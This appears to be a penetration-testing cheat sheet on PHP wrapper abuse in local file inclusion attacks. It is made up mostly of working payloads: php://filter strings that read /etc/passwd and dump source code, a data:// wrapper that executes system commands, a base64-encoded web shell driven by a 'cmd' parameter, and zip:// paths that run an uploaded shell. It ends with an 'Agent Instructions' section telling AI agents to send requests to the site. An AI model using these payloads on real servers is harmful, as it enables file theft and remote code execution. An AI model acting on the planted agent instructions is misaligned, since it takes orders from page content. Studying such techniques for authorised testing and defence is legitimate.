# PHP Wrappers

```
php://filter/resource=/etc/passwd
php://filter/resource=index.php
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=index
php://filter/read=string.rot13/resource=index.php
```

{% hint style="warning" %}
Its important to try with and without the extension
{% endhint %}

```
data://text/plain,<?php echo system('whoami');?>"
```

```
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=whoami
```

{% embed url="<https://rioasmara.com/2021/07/25/php-zip-wrapper-for-rce/?source=post_page-----b49a52ed8e38-------------------------------->" %}

{% embed url="<https://offsecpg.adot8.com/proving-grounds/proving-grounds-practice/linux/zipper/foothold>" %}

{% hint style="info" %}
If you have the ability to upload zip files, the **zip\://** will unzip and read/execute the file in the zip file
{% endhint %}

```
zip:///var/www/html/uploads/shell.zip%23shell.php
zip:///var/www/html/uploads/upload_1725881785.zip%23cmd.php&cmd=id
zip:///var/www/html/uploads/upload_1725881785.zip%23cmd&cmd=id
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://oscp.adot8.com/web-applications/lfi-and-rfi/php-wrappers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
